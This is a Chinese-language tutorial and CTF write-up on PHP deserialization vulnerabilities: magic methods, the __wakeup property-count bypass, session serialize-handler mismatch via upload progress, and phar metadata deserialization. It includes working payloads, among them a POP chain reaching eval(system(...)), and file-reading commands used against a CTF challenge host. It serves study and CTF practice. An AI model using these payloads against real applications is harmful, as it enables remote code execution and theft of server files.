- 普通的魔法方法
- public,private,protected屬性序列化后的不同
- 繞過wakeup
- session反序列化
- phar反序列化
1.普通的魔法方法
__construct()
創建一個新的對象的時候會調用,不過unserialize()時不會被調用
__destruct()
對象銷毀的時候被調用
__sleep()
函數serialize()調用的時候首先檢查有沒有這個函數,如果有則調用。這個函數的作用是刪減需要進行序列化操作的的成員屬性。
<?php
class test{
public $a="123";
public $b="456";
public function __sleep(){
return ['b'];
}
}
$test=new test();
echo serialize($test);
?>
//輸出:O:4:"test":1:{s:1:"b";s:3:"456";}
//__sleep()只返回了成員$b,所以相當於刪除了$a,$a不會進行序列互操作
__wakeup()
函數unserialize()被調用時檢查有沒有這個函數,有的話先執行。可以用來修改某個變量的值。
<?php
class test{
public $a="123";
public function __wakeup(){
$this->a="aaaaaaaaaaa";
}
}
$test=new test();
var_dump(unserialize('O:4:"test":1:{s:1:"a";s:3:"bbb";}'));
?>
//輸出:object(test)#2 (1) { ["a"]=> string(11) "aaaaaaaaaaa" }
//因為__wakeup()修改了$a的值
__toString
一個對象值不能直接echo 輸出的,可以用var_dump()。但是如果定義好__toString()的方法,就可以直接echo了
<?php
class test{
public $a="aaa";
public $b="bbb";
public $c="ccc";
public function __toString(){
return $this->a."-".$this->b."-".$this->c;
}
}
$test=new test();
echo $test;
?>
//輸出 aaa-bbb-ccc
2.public,private,protected屬性序列化后的不同
<?php
class test{
public $a="aaa";
private $b="bbb";
protected $c="ccc";
}
$test=new test();
echo serialize($test);
?>
瀏覽器上直接輸出的是: O:4:"test":3:{s:1:"a";s:3:"aaa";s:7:"testb";s:3:"bbb";s:4:"*c";s:3:"ccc";}
如果查看源代碼,看來應該存在不可打印字符

輸出一下十六進制

這里的十六進制00是字符串和十六進制相互轉化的,注意和十進制轉換區分開
public的序列化看起來是最正常的
private的序列化: \00test(test是類名)\00b(b是成員名)
protected的序列化:\00*\00c(c是成員名)
這就是提示在反序列化的時候要注意\00
3.繞過wakeup
直接拿例題來說
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->
首先明確我們要讀取flag.php
問題出在倒數三四行,接收get傳遞的參數先base64解碼,然后進行反序列化
先來看看這個__destruct()方法,為了題目的靶機目錄安全用strchr函數限制了\ /,不讓你任意讀取文件,不過沒事,我們只需要讀flag.php即可
現在我們們構造poc,把$file屬性的index.php改為flag.php
poc
<?php
class SoFun{
protected $file='flag.php';
}
$test=new SoFun();
$str=serialize($test);
echo $str;
echo "<br>";
echo base64_encode($str);
?>
//輸出
//O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";} \00不可打印,但自己要記住
//Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
我們傳入
?file=Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
發現仍然顯示index.php,我們忽略了__wakeup()函數。
對 O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";} 反序列化的時候,會先執行__wakeup(),這個函數在題目中是強行把$file的值變為index.php,所有無論我們傳入什么$file的值永遠是index.php
繞過方法: 當序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup()的執行
O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";}
O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}
將1改為2,然后base64編碼。
echo base64_encode('O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}');
還是不行,經過查資料:
<?php
echo strlen("\00");
echo strlen('\00');
?>
//第一個輸出1,第二個輸出3
php中單引號對\00的處理是把它變為三個字符,這也就是為什么我們會失敗的原因,\00實際上是ascii的0代表的字符,它是一個字符。用單引號把poc包含起來,所以\00失效了。
<?php
echo base64_encode("O:5:\"SoFun\":2:{s:7:\"\00*\00file\";s:8:\"flag.php\";}");
//用雙引號括起來,並且把里面的雙引號用\轉義,不然雙引號匹配出錯
//輸出Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93
?>
?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93

成功讀取flag
也存在另一種方法,
<?php
echo base64_encode('O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}');
?>
//輸出Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
注意到這里有一個大寫的S,這里S表明\00是轉義過后的字符,代表的是ascii的0,所以,即使base編碼的時候單引號也可以
參考:
https://nobb.site/2016/09/13/0x22/
http://www.neatstudio.com/show-161-1.shtml
假設這道題目不進行base64編碼:
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=$_GET['file']; //唯一變化的地方
echo unserialize($file);
}
?> #<!--key in flag.php-->
直接get傳參數的話\00是沒有辦法傳進去的,讓服務器知道你要傳遞的是ascii為0的字符,就得進行url編碼,瀏覽器會自己解碼然后傳給服務器,所以是%00

還有一個重要的事情,要注意php的版本,自己搜吧,我給忘了哪個版本了
4.session反序列化

session.auto_start:不用你再去自己開啟session_start()了
session.save_handler:保存的session的值的形式,一般是文件
session.save_path:保存文件的目錄,我這里是win下邊的phpstudy搭建的
session.serialize handler:有三種,默認的是php
<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['value'] = 'aaaaa';
?>
訪問這段代碼,然后在C:\softeware\phpstudy\PHPTutorial\tmp\tmp目錄,找到了sess_3ikqhdmr9jt0beid60d76u5g73這個文件,查看自己的session_id(F12看cookie):3ikqhdmr9jt0beid60d76u5g73,說明了session文件的命名規則:sess_(session_id)
查看文件內容value|s:5:"aaaaa";,value是鍵,|(豎線) 后邊的是值
ini_set('session.serialize_handler','php');改為ini_set('session.serialize_handler','php_serialize');,再次訪問,值得注意的是,版本高點才會有php_serialize這種方式
查看文件a:1:{s:5:"value";s:5:"aaaaa";}
另一個不看了,自己看去吧
問題類型一:
session.auto_start=Off
php里面默認的序列化方式是php,但是自己有時候會指定別的方式,比如php_serialize,這個時候因為序列化和反序列化的方式不同導致問題
foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = $_GET['ryat'];
?>
foo2.php
<?php
ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini
session_start();
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}?>
訪問
foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
然后訪問foo2.php發現執行了 echo "hi";
1.第一步訪問foo1.php過后,tmp目錄下文件內容

payload其實就是foo2.php里面的類實例化后再序列化,但是前邊要加一個|(豎線)
注意文件里面 豎線左邊是鍵,右邊是值(因為foo2.php里面反序列化的方式是php)
所以當我們訪問foo2.php的時候,要讀取再foo1.php里面的設置的session值並且進行反序列化,所有豎線右邊的就被反序列化成了一個對象
問題類型二:
題目①:
php.ini的配置
session.serialize_handler: php_serialize 默認的php反序列化方式與指定的不同)
session.upload_progress.cleanup :Off
session.upload_progress.enabled :On
session.auto_start :Off
源代碼實際有三個文件,phpinfo.php實際上是告訴你了配置信息
index.php
<?php
ini_set('session.serialize_handler', 'php');
//服務器反序列化使用的處理器是php_serialize,而這里使用了php,所以會出現安全問題
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>這是foo1的析構函數<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>這是foo2的析構函數<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>這是foo3的析構函數<br>";
}
}
?>
根據問題類型一的思路,我們已經知道了有兩個不同的反序列化處理方式,我們應該是先在有ini_set('session.serialize_handler', 'php_serialize');的地方寫入 |(豎線)加上構造好的payload,讓它寫入session文件,然后我們訪問index.php(反序列化方式為php)讀取session文件實例化對象執行代碼。可現在是,沒有找到ini_set('session.serialize_handler', 'php_serialize'),並且最重要的是沒有找到unserialize()我們能夠控制輸入的地方。
這里實際上用到了另外一個思路:session.upload_progress.enabled :On
上傳一個文件,php會把這次上傳文件的信息保存到session文件里面,文件的信息是我們可以控制的,所以通過這個把payload寫入session文件,然后訪問index.php(php處理器來反序列化session文件),原理和 問題一 是一樣的。
payload:
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
//new一個foo2的對象
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>這是foo1的析構函數<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
//new一個foo3的對象
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>這是foo2的析構函數<br>";
}
}
class foo3{
public $varr="system('whoami');";
//要執行的東西
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>這是foo3的析構函數<br>";
}
}
$test=new foo1();
echo serialize($test);
//輸出:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:17:"system('whoami');";}}}
//還有執行了whoami的命令:desktop-2akj5ip\whoami_root
這是foo1的析構函數
?>
來看一下這個上傳文件保存的session是啥樣的。
html表單,我們要進行抓包,然后修改具體的值
<form action="http://127.0.0.1/phpinfo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
#這里index.php和phpinfo.php都可以,存在session_start()就可以,因為我們需要的是php_seralize這個默認方式來序列化數據,不過我這里傳到index.php發現並沒有生成session文件,phpinfo.php卻可以,再說再說。
抓包,可以利用的地方是表單value的值和文件名字,這兩處選一出就可以。
還有這個cookie,一定要和你訪問的cookie對應起來,因為寫入讀取session文件都直接和你的cookie的值有關系。

傳上構造的payload,文件名字和內容記得胡亂寫一下。可以看到,payload也寫進去了,現在就可以用php(三種方式之一,豎線為分隔符)來反序列化了。這個時候訪問index.php(ini_set('session.serialize_handler', 'php'))就可以了。


題目②:jarvis-phpinfo
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
get傳參可以執行phpinfo(),然后觀察phpinfo的內容。
發現php.ini的設置
| session.auto_start | Off | Off |
|---|---|---|
| session.upload_progress.enabled | On | On |
| session.serialize_handler | php | php_serialize |
| session.upload_progress.cleanup | Off | Off |
發現符合我們利用的條件,先構造poc:
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'system("ls");';
}
function __destruct()
{
eval($this->mdzz);
}
}
echo serialize(new OowoO());
?>
構造的上傳文件表單
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
#上傳的時候序列化的方式是默認方式php_serialize
上傳的時候注意cookie一定要是一樣的喲。

發現沒有反應,本地復現成功,就想會不會是禁用了函數或者權限比較低,可以思考一下,這里和有沒有回顯是沒有關系的喲。
不過有幾個函數:
print_r (),scandir(),var_dump(),glob(),file_get_contents(),rename(),unlink(),rmdir(),fwirte(),fopen()可以試一下(我想往里面寫一個小馬的時候才發現重命名,刪除文件,寫文件的函數不行,但是assert卻是可以的)
poc改為$this->mdzz = "print_r(scandir('./'));";
先來看下當前目錄有啥東西:

發現不是當前目錄,搞來搞去,發現.(dot)沒法用,所以只好用絕對目錄,看了下phpinfo.php,發現文件在/opt/lampp/htdocs/下邊,構造$this->mdzz = "print_r(scandir('/opt/lampp/htdocs/'));";

直接訪問flag文件是空白的,根據這個名字可能是故意不想讓你看到,所以利用file_get_contents()來讀文件
$this->mdzz = "print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";

5.phar反序列化
phar以我自己的理解就是,將常用的文件打的一個包,然后需要這些文件的時候直接include這個phar包,直接從包里調用文件或者里面的函數,相比起直接包含.php文件更方便。
看一下phar的格式
stub:
格式是xxx ,可以把這個理解為文件頭格式,php通過這個格式才能知道這是phar文件,xxx的地方是隨意的
a manifest describing the contents:
被打包進來的文件的屬性,權限等內容會被反序列化后存儲在meta-data(用戶自己設置)
the file contents:
被打包進來的文件的內容
signature:
對文件的簽名,在文件的結尾
我們先來看一下怎么打包生成phar
首先php.ini里面的phar.readonly => On要改為Off,這樣才可以創生成phar
在test目錄下有兩個文件
test.php
<?php
class a{
public function a(){
echo "我是a的構造函數";
}
}
?>
phar.php
<?php
//new一個phar對象
$phar = new Phar('test.phar');
//把當前目錄下的東西都打包
$phar->buildFromDirectory(__DIR__);
//setStub是必須設置的,這里設置了一個最簡單的
$phar->setStub('<?php __HALT_COMPILER(); ?>');
//生成test.phar文件
$phar->stopBuffering();
?>
test目錄下多了一個test.phar,放winhex里面看一下:

利用phar包
test目錄下新建1.php
<?php
require_once "test.phar";
require_once "phar://test.phar/test.php";
new a();
//輸出 '我是a的構造函數'
?>
訪問發現確實引用了test.php。
漏洞利用點
我們上邊的過程沒有用到
a manifest describing the contents:
被打包進來的文件的屬性,權限等內容會被反序列化后存儲在meta-data(用戶自己設置)
看新的代碼
phar.php
<?php
class a{
public $test="test";
function __wakeup(){
echo "我被反序列化了";
}
}
//new一個phar對象
$phar = new Phar('test.phar');
//把當前目錄下的東西都打包
$phar->buildFromDirectory(__DIR__);
//setStub是必須設置的,這里設置了一個最簡單的
$phar->setStub('<?php __HALT_COMPILER(); ?>');
//****************************
//自己定義的metadata,會序列化寫入test.phar
$phar->setMetadata(new a());
//****************************
//生成test.phar文件
$phar->stopBuffering();
?>
具體phar的方法可以看 https://www.php.net/manual/zh/class.phar.php
查看內容,發現,果然序列化后存入了test.phar文件里面

漏洞在於,當某些系統函數去操作phar協議控制的文件時候,metadata里的東西會反序列化。
在test目錄下便隨便新建文件,然后訪問。
<?php
class a{
public $test="test";
function __wakeup(){
echo "我被反序列化了";
}
}
require_once "test.phar";
//file_put_contents(phar://phar/test.php);
?>
//訪問后輸出 '我被反序列化了',證明存儲在metadata里面的數據被反序列化了
圖片直接復制連接過來的 https://paper.seebug.org/680/ 
發現require,require_once,include,include_once也是可以的,又偶然在 https://blog.zsxsoft.com/post/38 看到,與文件有關的函數都是可以的。
